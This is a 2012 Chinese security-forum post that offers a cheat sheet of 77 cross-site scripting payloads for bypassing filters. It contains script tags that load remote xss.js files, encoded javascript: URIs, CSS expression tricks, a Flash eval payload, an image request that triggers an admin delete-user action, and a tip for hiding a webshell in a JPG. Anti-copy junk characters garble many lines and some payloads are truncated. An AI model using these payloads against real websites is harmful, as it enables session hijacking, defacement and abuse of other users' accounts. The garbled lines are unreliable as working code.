找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2381|回复: 0
打印 上一主题 下一主题

xss详细利用大全1

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:04:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
跨站图片shell
/ r, s/ j! M) D! T7 z  O+ CXSS跨站代码  <script>alert("")</script>
% U# p9 R3 I+ j! {% F2 h1 \
% F/ p$ q2 b1 u$ P将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马" s: F, i" X2 U9 Q6 L' q" W9 w
5 P2 ~- H0 }. k5 B0 L

) N7 g/ R! s4 u3 q3 L0 W/ `% A
2 G! g. f% n' s: P3 a1)普通的XSS JavaScript注入
9 Y" a: m+ F% I& E+ T% ]<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
5 g2 v. U4 P0 |6 v; K
, L0 N$ G$ I, x. ~$ ^8 y(2)IMG标签XSS使用JavaScript命令  ]! n' s; }1 m" R9 x
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
3 X% e% m3 A2 X2 G2 l1 p! \& h
7 j3 z! S. _4 u+ h! U' c(3)IMG标签无分号无引号6 \8 K' S/ v$ x4 o3 N7 o+ Q' L! m
<IMG SRC=javascript:alert(‘XSS’)>: G6 M& v( {# I/ V1 R! K+ g) n

7 ?0 k( x" M% h(4)IMG标签大小写不敏感
4 G0 a5 i+ i$ {: l<IMG SRC=JaVaScRiPt:alert(‘XSS’)>2 I  N; c+ m5 E( e' o8 O
' t2 J! q2 I: A' [. U' p' C) i3 x
(5)HTML编码(必须有分号)0 e3 D) L7 Y! J' f+ u
<IMG SRC=javascript:alert(“XSS”)>
0 j2 B) R% q& w# _8 t$ |8 N3 j; H7 Q8 u! k7 P9 ~% e5 R
(6)修正缺陷IMG标签
  A- T- ^6 W4 ^. ~4 d  c<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>$ |; \$ ~& X+ L( {+ Q

. ]& S9 s6 ]7 C' v) j" Z% l(7)formCharCode标签(计算器)8 Y1 E1 c4 C" J
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>; h* S" }/ W  e2 R0 O7 m

; ]- K2 ~& e7 d(8)UTF-8的Unicode编码(计算器)
9 L1 K: x% k0 X<IMG SRC=jav..省略..S')>
5 h1 B0 M- g! ?, J
; ?& @% y5 _! }- s(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
8 t" G0 J; [  t9 I7 E<IMG SRC=jav..省略..S')>2 J( }. I1 r- E

& g' i# h2 J2 D% {(10)十六进制编码也是没有分号(计算器)
1 R* I9 e0 \& s. z  t<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>; F, S9 I( o; x" C& w+ h/ D, Q

# O9 ^! V  y8 @+ ^" l(11)嵌入式标签,将Javascript分开" }2 @9 c6 o4 J  Y9 v3 n5 Z7 N
<IMG SRC=”jav ascript:alert(‘XSS’);”>/ ?" k. b" Q* \& `: q" P

" |7 r2 E4 V: [! \; @( r1 A(12)嵌入式编码标签,将Javascript分开* J5 u/ G( R) h0 e
<IMG SRC=”jav ascript:alert(‘XSS’);”>9 L2 \0 R& S" y* N+ _, H/ T" q
& v6 O/ N- N& e) o
(13)嵌入式换行符1 E9 X9 J. x* h0 V9 i+ v, |
<IMG SRC=”jav ascript:alert(‘XSS’);”>
! d6 {- q7 r" \- y$ ?! _9 ^7 j6 j- r
. x! Z  @# V0 `5 N/ v(14)嵌入式回车- Z9 m" Q4 w2 a; H! Y% K; M& N
<IMG SRC=”jav ascript:alert(‘XSS’);”>! F/ Q' [9 r1 W

6 _2 Z5 K7 |- `(15)嵌入式多行注入JavaScript,这是XSS极端的例子2 ?& X( |3 L  `7 ^6 F0 ^
<IMG SRC=”javascript:alert(‘XSS‘)”>
& W* I7 r- b/ }3 w  D, x
7 x1 L- Q( u1 O, m" J$ D(16)解决限制字符(要求同页面)
! o9 y' i* |& o& ]# ^4 X4 F<script>z=’document.’</script>
5 K% |2 ?" K! @* }+ j  v8 r<script>z=z+’write(“‘</script>7 P% A1 m7 z/ r5 @! Q  M
<script>z=z+’<script’</script>9 y1 n% r# p: s5 I: l  O
<script>z=z+’ src=ht’</script>
. p  |( ^- o' u- e<script>z=z+’tp://ww’</script>
+ T8 _) S" @+ W<script>z=z+’w.shell’</script>
3 l. G; l4 |( E; {<script>z=z+’.net/1.’</script>( e  V* i. Z3 l( p0 Q8 {& v) h4 E, y
<script>z=z+’js></sc’</script>) i& l& y: K$ H2 U5 M7 b$ A4 K" V0 V8 E
<script>z=z+’ript>”)’</script>
5 Y4 \: J6 P' s0 C<script>eval_r(z)</script>$ m/ s: q: Q% d3 n/ _$ w# P! z

  ?% E8 Z5 M. G  ~6 |  ^4 J% q) G# n(17)空字符
3 k1 F5 H; _4 {# M6 X3 F, O4 @perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out: O* e# X% m4 E0 T

; v* @# {9 T& W: F0 Y8 ?5 U. W(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用9 {0 B8 r1 Q! P+ j# ^2 R8 z# p
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out- ^9 u6 ~7 X8 A* E4 s

7 R4 b$ `2 D9 l$ \. [8 N% U(19)Spaces和meta前的IMG标签
/ D5 c8 [1 t; V3 _<IMG SRC=” javascript:alert(‘XSS’);”>, Q2 o) g0 X2 T3 l& b8 e" O8 H
+ G1 S7 m" o" Q; |
(20)Non-alpha-non-digit XSS
, v# h: F+ T3 Q3 F2 _5 w<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>: }6 \5 ?6 N8 N4 E$ N0 f2 e# \
8 c2 D6 U9 ?% i( [& {0 _
(21)Non-alpha-non-digit XSS to 22 D% j3 u9 y" n, y+ F
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
0 s1 h7 y; B, t0 E3 T7 @( v
( @6 Y+ F2 s: ^" |0 C4 h$ H(22)Non-alpha-non-digit XSS to 3
) U6 O. U+ w. r/ ?5 t( P<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>! y5 J8 ^- c! z! x7 Z) T! o9 d

: i3 O& K; _' u. `& `! f/ k5 R(23)双开括号
2 Z, d! m6 H! I6 ?5 ?# S9 Y<<SCRIPT>alert(“XSS”);//<</SCRIPT>
# X2 j& u- }2 \( f2 A/ ?: E* a- z$ u6 {$ t1 _
(24)无结束脚本标记(仅火狐等浏览器)
* x. p( u+ Q9 J+ @+ x) E<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
$ e! G/ C7 s9 d% `2 E" O; w/ g5 k3 H
6 T5 O7 B1 [4 w8 |3 A; K; i# J(25)无结束脚本标记2
! X3 H! U" x7 \3 l. T+ k& T* h" |<SCRIPT SRC=//3w.org/XSS/xss.js>
% ?" C9 t: y6 T( @, c
" f0 Q! f1 ~# R& y(26)半开的HTML/JavaScript XSS2 q1 n$ p2 G7 W
<IMG SRC=”javascript:alert(‘XSS’)”
4 L" N2 @) }  v# ~% J% }9 D* l) E& U! B* P1 y6 w1 J
(27)双开角括号' s5 C. c" N2 d
<iframe src=http://3w.org/XSS.html <
2 ]! r2 i8 p# e
4 Y; M7 K+ L9 m0 R9 v5 b6 j(28)无单引号 双引号 分号7 K$ K5 H( @( ~6 b
<SCRIPT>a=/XSS/
' B& G! `+ v8 U" J/ Oalert(a.source)</SCRIPT>
! B) V% G6 F8 n+ C3 o9 w+ |7 ]3 q% Y7 E
(29)换码过滤的JavaScript, Z2 |7 R: j" z' N; F" H1 ~: e
\”;alert(‘XSS’);//
- N9 w1 n" }+ O, u6 j2 Q: m* t' G
- s7 i7 z1 a: L7 G(30)结束Title标签5 S% x( O$ _7 o0 Q
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
2 b+ K5 U! j" }# ]6 @- O7 R/ T
0 m/ q- O. I0 q, `0 w: \(31)Input Image
! s' ^3 c4 c9 }* F$ i' m<INPUT SRC=”javascript:alert(‘XSS’);”>
+ q  \7 Q7 c, }! ?% D0 s* h; H, u  l0 S
(32)BODY Image% X, K2 U0 Y9 [1 H5 r8 D1 h
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>3 F/ v2 S" [7 P: \' m, S" W
* c! ^6 Y9 ~# S0 `5 T
(33)BODY标签8 C" P& e! x' O3 e& q4 n. s; O8 T
<BODY(‘XSS’)>8 O# [6 [- v5 g$ A& ]3 N& g6 Z

" h7 {- ]" B3 r9 D  }/ N(34)IMG Dynsrc2 m) x, Y2 E. K! o
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
' }, i: i2 w) _9 D. V5 S  N8 \% k# p* l8 B
(35)IMG Lowsrc' S- n3 S2 D  ]; h
<IMG LOWSRC=”javascript:alert(‘XSS’)”>( M( h+ Y% j! l* d! z+ d4 F

8 l9 W( x1 t1 p7 P8 @(36)BGSOUND: G4 ~1 h1 `2 y& p) k' S! }
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
( g: l& `5 E( p7 U
4 ~4 E9 p7 |" {, p' Z(37)STYLE sheet
2 b5 x. l1 g( p0 m8 z8 u' ~2 G" n<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>2 r* w1 i: Y8 x  p/ c. O0 p
# Y6 j0 h* X) _1 A- u+ N) q
(38)远程样式表
! ^' @: S* ]# K, C<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
/ ]7 @% R3 c' {$ ?, w1 O- h' \" G+ Y5 n& \; }# D
(39)List-style-image(列表式)
9 W& _3 r, W. j+ U+ [. a( i<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
8 {2 |( x& C9 o( r- U. U
7 v4 t" i  D0 m+ A- f3 A(40)IMG VBscript  @( U3 L. r1 z0 H5 ^8 `* Q" C
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
/ s; D( ^1 U4 m+ H9 E2 ^. n9 d+ p; R7 G! X/ X
(41)META链接url
" x( {7 g# j9 j; Z6 l<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
: f# @+ j  P, o4 n0 I. K/ H. e) Y; p1 ?
(42)Iframe
4 t5 J, e0 f1 V* G* `! d" j+ `0 O<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>0 S9 A$ p; l$ v2 z
(43)Frame# A, T8 t  R: c4 D* ~4 t$ k
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
2 ?" O$ f9 b8 z$ q
  I) Z$ J1 [' {) Y" G0 ~(44)Table# F6 ]) m$ R+ k+ w
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
/ f6 _# [+ c' l" o6 B( i9 \- k
/ i+ ^" `" w$ a9 m+ n3 q! r. m(45)TD& Z  Q0 n) y0 C  n7 G- o4 a, ]5 i
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
6 j7 Q+ K' }' z3 H7 N* h$ g4 B
(46)DIV background-image
- q+ P: @' `2 W& R% j5 s3 z+ t$ H<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>& \& O" p& U1 J7 R' t6 I2 J

( Q( `& d# }) B4 r$ i( L(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
+ h2 |: v# v3 z) E) K! l- M<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
" Z' R8 |% T$ `& F0 J& Z+ t/ ?5 I/ j' ^( F* V, u  \
(48)DIV expression
4 o7 w1 [' B9 O4 v2 }% F<DIV STYLE=”width: expression_r(alert(‘XSS’));”># P4 o. }- P/ N; h" W' L
8 J$ Q! G* d$ B+ [" w2 x6 F' T
(49)STYLE属性分拆表达  v5 x/ b: B0 t; v; d" X
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
1 X( c) \7 k& L0 f
: A  P3 B; r5 C, B(50)匿名STYLE(组成:开角号和一个字母开头), D* k- ^2 u% g
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
$ D3 r# B0 c! M8 c+ c8 M
# w) \- K" ~9 x: N( D% a  |" Q' z(51)STYLE background-image/ f) o4 |; |0 [: ]
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>+ P, S! a& z+ q( I6 m, K7 Y
% h% H" s# g$ W% ]' S4 z& U
(52)IMG STYLE方式
' b$ T8 \% E' T' S% O* A2 u. vexppression(alert(“XSS”))’>
1 b2 b  C* h& D* a" u
5 R" `& C) ^1 b3 q; s: _% `(53)STYLE background
! v& T5 p: X& f3 D' W<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
' m' u4 y2 |& k4 W* a' n" m& k; n) T, q  A7 b
(54)BASE7 Q& @" S& Z+ Q0 z' Z3 w
<BASE HREF=”javascript:alert(‘XSS’);//”>
( w* _) |* F) x: C, A+ Z# C  P
/ k9 e2 G1 ?2 K- T( L5 [(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS; k2 b6 G" M- z" e- Q; r. |
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
7 z" _# A2 u0 S: r1 v& c. P: F' c
/ p3 |% B5 s- g0 @2 s. A(56)在flash中使用ActionScrpt可以混进你XSS的代码2 q# E3 ^4 }' U, r! @
a=”get”;, y; b) j" M% g* D4 n2 }7 p
b=”URL(\”";
& M% I2 G! F! gc=”javascript:”;
0 s" k6 U9 Z9 W) V2 o8 ^9 S9 a. Jd=”alert(‘XSS’);\”)”;
' X& V! I8 A% s$ y' `eval_r(a+b+c+d);0 ?, {$ e; U5 W- Y9 N) g

" e4 M: ?! X8 |6 x" v6 `) |(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上" C# q8 u" \* _- _$ {: o7 \" m0 n9 n
<HTML xmlns:xss>$ C. n3 Y1 R9 z5 [/ m, |
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>0 a5 `- V, f2 `' ]  q. U  ]
<xss:xss>XSS</xss:xss>
. |& ]) J9 Q- R) q+ B# G/ C</HTML>
, W0 @; F' p" q& D2 M& z
- u  J' O" r; j* }' s4 k6 l$ Y(58)如果过滤了你的JS你可以在图片里添加JS代码来利用3 S0 `2 Z3 r$ V6 Z4 U0 y8 ~+ S8 u
<SCRIPT SRC=””></SCRIPT>
' O* |; v+ }% v2 d0 l3 f
" B1 F9 J; ]  X% ]9 X# a: R4 F" _(59)IMG嵌入式命令,可执行任意命令( a- A7 P  H. ~0 p" h+ y0 V# E% [
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
# h$ M# j2 I3 y: g
9 T: N8 s) a1 c' d: k5 \(60)IMG嵌入式命令(a.jpg在同服务器): Q/ p- @( m- X4 s) y
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser% N( |  {$ D4 n' K% ]2 I3 `1 A

  u$ F4 y1 ~. a) X(61)绕符号过滤
5 ?  u# }8 P3 q) j9 a) N<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>8 ^& w7 p2 w  q
$ k" C7 ]$ G" |7 E+ n; u' T" e! C
(62)
! M4 u7 n: R% A+ [6 c/ |/ Y! l<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>! w$ G+ e- H9 l

7 t) X! O6 k9 g# T(63)- o+ j7 R& L' O" A" {& z# s
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>9 F  T: h+ x3 P

' U) o5 @1 X& D( Y3 c- K(64)/ ?9 I7 Z* e$ q. k/ ^; I4 x  F, N/ V
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
$ c( b: j; r$ n' Q9 U
/ f3 F; f* e2 L6 J, e0 H$ R(65)
8 o' n- P; Q3 K% J/ U4 f* ~<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>+ X6 j: P# A7 W: `8 ~  N* o1 i1 Y

0 C& p0 Q4 P5 t3 f5 k(66)3 N+ S( n0 I6 I3 B' ]3 r
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
( h9 f  h# [- q+ k+ o# A
( W- n4 B. V- y4 t6 f(67)' M; i  T6 p# q  H4 ]5 J) Z4 z
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
3 k" }" T9 c7 D# X8 k, D7 Z+ N; E; h! B
(68)URL绕行
5 I, z$ j  P: [1 a+ }4 w' U<A HREF=”http://127.0.0.1/”>XSS</A>: a) I; D& ]: `' G' _
; g2 ?0 D9 i. N9 R  c- o2 ?- y, k
(69)URL编码  H" l+ ?" ~. A8 K2 C
<A HREF=”http://3w.org”>XSS</A>
+ c) C. v% \! ^) S, r. J. |7 y+ j! z
(70)IP十进制8 j1 M, K- g  \+ u( I) `$ d
<A HREF=”http://3232235521″>XSS</A>
3 X6 h0 W) Q6 W8 g
/ ?2 Q% W$ H! ^/ U* ~(71)IP十六进制
  d& `( U0 d* W1 p) ?  U<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
2 T$ ~3 H# u, @0 H1 l! U3 x/ M7 F0 p: @: M, [* N$ m
(72)IP八进制7 f: i6 W0 L4 W/ @8 K1 Y* v
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
; ~* E7 \/ v( G/ e- C; s
- j- A0 \0 s* P(73)混合编码& A$ M) F3 |4 d: E* h( {. I
<A HREF=”h# M2 R/ a5 R2 s2 l+ v
tt p://6 6.000146.0×7.147/”">XSS</A>
. H# |9 I# b& K+ Q5 w6 y
& u0 v  h- q* _(74)节省[http:]' b/ p, E7 t) z
<A HREF=”//www.google.com/”>XSS</A>
8 c' M+ Q: W* D
4 N) ^" T5 m% S  r; T: ?(75)节省[www]
4 @2 V; w/ U2 c<A HREF=”http://google.com/”>XSS</A>) M0 n! x5 @* w3 G

/ X5 [9 s0 F8 P3 t& {: D- l" Y(76)绝对点绝对DNS. Y5 v9 j- w% J$ @
<A HREF=”http://www.google.com./”>XSS</A>
0 Z9 T! U( a  s4 Q8 t5 g' B
$ N8 @1 z9 \; Q' z- Z; F( j(77)javascript链接
  l& G% ^8 z" ~  p2 n<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
; x! e4 b* L9 _) q( b, Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表